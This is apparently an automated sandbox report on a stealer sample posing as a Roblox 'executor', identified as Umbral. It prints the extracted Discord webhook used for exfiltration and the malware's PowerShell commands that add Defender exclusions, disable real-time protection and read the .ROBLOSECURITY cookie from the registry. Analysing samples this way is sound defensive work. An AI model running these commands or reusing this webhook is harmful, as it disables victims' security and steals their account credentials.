Analysis
- max time kernel
149s - max time network
158s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
31/05/2026, 17:27
General
- Target RaxelExecutorV.1.exe
- Size 230KB
- Sample260531-v1devads8v
- SHA256 b429870a259f3c0b4a70b106fc7aebbbd3a6ea1cb5e5f887d9961783dedb155a
Malware Config
Extracted
-
umbral
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v1.3
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https://discord.com/api/webhooks/1510413692272119888/L27KKBxm4oogASFKaaAlO_8x04nuwUkuPd_zVqXJSxoUmLBFucNPxpwWa1cE-kZXYRFL
Signatures
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Detects Umbral payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\RaxelExecutorV.1.exe"C:\Users\Admin\AppData\Local\Temp\RaxelExecutorV.1.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\RaxelExecutorV.1.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_mflst2az.eir.ps1
memory/4932-25-0x000001EF7EE40000-0x000001EF7EE46000-memory.dmp
memory/4932-11-0x000001EF64BE0000-0x000001EF64BF0000-memory.dmp
memory/4932-19-0x000001EF7EA10000-0x000001EF7EAC3000-memory.dmp
memory/4932-20-0x000001EF7E7D0000-0x000001EF7E7DA000-memory.dmp
memory/4932-21-0x000001EF7EC20000-0x000001EF7EC3C000-memory.dmp
memory/4932-22-0x000001EF7E7E0000-0x000001EF7E7EA000-memory.dmp
memory/4932-23-0x000001EF7EE60000-0x000001EF7EE7A000-memory.dmp
memory/4932-24-0x000001EF7E7F0000-0x000001EF7E7F8000-memory.dmp
memory/4932-3-0x000001EF64BE0000-0x000001EF64BF0000-memory.dmp
memory/4932-26-0x000001EF7EE50000-0x000001EF7EE5A000-memory.dmp
memory/4932-27-0x000001EF64BE0000-0x000001EF64BF0000-memory.dmp
memory/4932-18-0x000001EF7E7B0000-0x000001EF7E7CC000-memory.dmp
memory/4932-9-0x000001EF7E710000-0x000001EF7E732000-memory.dmp
memory/4932-2-0x000001EF64BE0000-0x000001EF64BF0000-memory.dmp
memory/5152-40-0x00000127F23E0000-0x00000127F2430000-memory.dmp
memory/5152-41-0x00000127F23C0000-0x00000127F23DE000-memory.dmp
memory/5152-39-0x00000127F2690000-0x00000127F2706000-memory.dmp
memory/5152-0-0x00000127EE8D0000-0x00000127EE910000-memory.dmp
memory/5152-67-0x00000127F2730000-0x00000127F273A000-memory.dmp
memory/5152-68-0x00000127F2760000-0x00000127F2772000-memory.dmp
memory/5152-1-0x00000127F2430000-0x00000127F2440000-memory.dmp
memory/5152-80-0x00000127F2430000-0x00000127F2440000-memory.dmp